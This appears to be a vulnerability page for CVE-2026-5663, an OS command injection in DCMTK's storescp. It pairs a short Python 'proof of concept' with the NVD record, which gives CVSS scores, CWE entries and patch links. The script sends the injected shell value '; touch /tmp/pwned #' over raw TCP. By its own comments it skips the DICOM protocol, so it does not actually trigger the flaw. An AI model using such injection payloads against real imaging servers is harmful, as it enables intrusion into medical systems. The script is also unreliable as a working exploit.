CVE-2026-5663

import socket import sys # Proof of Concept for CVE-2026-5663 # This script demonstrates the remote command injection vulnerability in OFFIS DCMTK storescp. # The vulnerability exists in the 'executeOnReception' and 'executeOnEndOfStudy' functions. TARGET_IP = "192.168.1.100" TARGET_PORT = 104 # Default DICOM port for storescp # Malicious payload to inject a command. # In a real scenario, this payload would be embedded within the DICOM data stream # or specific parameter that triggers the vulnerable function. # Example: Injecting 'touch /tmp/pwned' to prove execution. PAYLOAD = b"; touch /tmp/pwned #" def send_exploit(): print(f"[*] Attempting to connect to {TARGET_IP}:{TARGET_PORT}...") try: # Establish a TCP connection to the target storescp service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) s.connect((TARGET_IP, TARGET_PORT)) print("[+] Connection established.") # Send the payload. # Note: Actual exploitation requires constructing a valid DICOM association # and C-STORE-RQ with the payload placed in the field used by the executeOn functions. # This is a simplified representation. s.send(PAYLOAD) print("[+] Payload sent successfully.") print("[*] Check if the command was executed on the target.") except Exception as e: print(f"[-] An error occurred: {e}") finally: s.close() if __name__ == "__main__": send_exploit()

{"cve": {"id": "CVE-2026-5663", "sourceIdentifier": "[email protected]", "published": "2026-04-06T15:17:16.253", "lastModified": "2026-04-27T18:43:25.493", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in OFFIS DCMTK up to 3.7.0. This impacts the function executeOnReception/executeOnEndOfStudy of the file dcmnet/apps/storescp.cc of the component storescp. Performing a manipulation results in os command injection. Remote exploitation of the attack is possible. The patch is named edbb085e45788dccaf0e64d71534cfca925784b8. Applying a patch is the recommended action to fix this issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}, {"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:offis:dcmtk:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.7.0", "matchCriteriaId": "EF425104-FD2A-47B0-9D06-DC2D40A9F9BC"}]}]}], "references": [{"url": "https://github.com/DCMTK/dcmtk/commit/edbb085e45788dccaf0e64d71534cfca925784b8", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://machinespirits.com/advisory/2e1627/", "source": "[email protected]", "tags": ["Mitigation", "Third Party Advisory"]}, {"url": "https://support.dcmtk.org/redmine/issues/1194", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}, {"url": "https://vuldb.com/submit/786061", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/vuln/355486", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/vuln/355486/cti", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}]}}